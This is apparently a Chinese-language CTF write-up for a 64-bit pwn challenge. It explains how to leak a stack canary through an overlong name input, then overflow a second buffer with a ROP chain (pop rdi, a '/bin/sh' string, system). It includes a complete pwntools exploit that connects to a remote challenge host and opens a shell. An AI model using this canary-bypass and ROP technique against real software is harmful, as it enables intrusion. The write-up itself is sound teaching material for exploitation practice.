知识点
小端序说明,数据在内存里是如何存储的?下表里数据都为16进制
解题流程
题目Hint:更新 LibcSeacher 的 libc-database
checksec查看保护机制
存在Canary和NX。
0x28=40
0x10=16
0x29=41
0x300=768
0x2C=44
buf长度为48,而read读取长度为768
v5长度为520,而read读取长度为768
所以存在栈溢出漏洞
注意关注以下两条语句
.text:000000000040082C mov rax, fs:28h
.text:0000000000400835 mov [rbp+var_8], rax
canary存在rbp+var_8,可以在0x40082C下断点,观察下。
输入n可以看到,rax寄存器的值变为了RAX 0xeb3ebba93e8f0500
可以观察,随后会把rax的值放在rbp-8的位置
把canary这个值存内存里是这个样子的
所以现在的思路是首先依据第一次回显泄露canary的值,第二次通过利用泄露的canary值实现栈溢出。
64位程序优先通过寄存器rdi传参,所以先找pop rdi
这里还缺/bin/sh,利用ROPgadget --binary pwn4_canary --string “/bin/sh”
将"/bin/sh"作为参数传给system函数,然后调用
exp
from pwn import *
#sh = process('./pwn4_')
#context.log_level = 'debug'
sh = remote('114.67.246.176',11788)sh.recvuntil('Please leave your name(Within 36 Length)')payload1 = 'a' * 568
sh.sendline(payload1)
sh.recvuntil('a' * 568 + '\n')
#canary = u64(sh.recv(8)) - 0xa
canary = u64(b'\x00' + sh.recv(7))
log.info('canary: ' + hex(canary))sh.recvuntil('Please leave a message(Within 0x200 Length)')
pop_rdi_ret = 0x0000000000400963
system_addr = 0x400660
binsh_addr = 0x0000000000601068payload2 = b'a' * 520 + p64(canary) + p64(1) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
sh.send(payload2)
sh.interactive()
运行: